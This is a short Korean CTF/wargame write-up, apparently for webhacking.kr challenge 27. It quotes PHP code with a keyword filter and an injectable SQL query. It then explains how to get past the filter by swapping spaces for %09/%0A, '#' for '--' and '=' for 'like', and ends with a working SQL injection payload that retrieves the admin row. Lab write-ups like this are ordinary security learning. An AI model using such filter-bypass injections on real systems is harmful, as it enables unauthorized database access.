소스보기 입니다.
소스중 아래 부분을 보면 차단 문자열을 알 수 있습니다.
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
[차단문자]
'#', 'select', '(', 'limit', '=', '0x','공백','대소문자 구분없음'
문자로인해 차단되었으면 "no hack"이라는 문자열을 출력하네요 ~
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
위와 같은 쿼리를 보내는 데 "admin"의 no = 2 라는 힌트를 주었습니다
그럼 no=2인 경우를 만들어 "admin" id를 가져와야 겠네요 ~
공백은 '%09' 또는 '%0A' 로 대체가 가능합니다.
'#'주석은 '--' 로 대체가 가능합니다.
'=' equal 은 'like'로 대체가 가능합니다.
이를 토대로 쿼리를 만들어보면 아래와 같습니다.
"0)%0Aor%0Ano%0Alike%0A2%0A--"
여기서 ')'괄호를 그대로 사용한 이유는 "no=({$_GET['no']})" 부분에서 괄호가 열려있기 때문입니다.
위에 쿼리를 파라미터로 대입해보면 제대로 실행되지 않습니다.
원인은 잘 모르겠으나 뒤에 '%09' 공백을 주어야 한다네요....
[최종쿼리 ]
"0)%0Aor%0Ano%0Alike%0A2%0A--%09"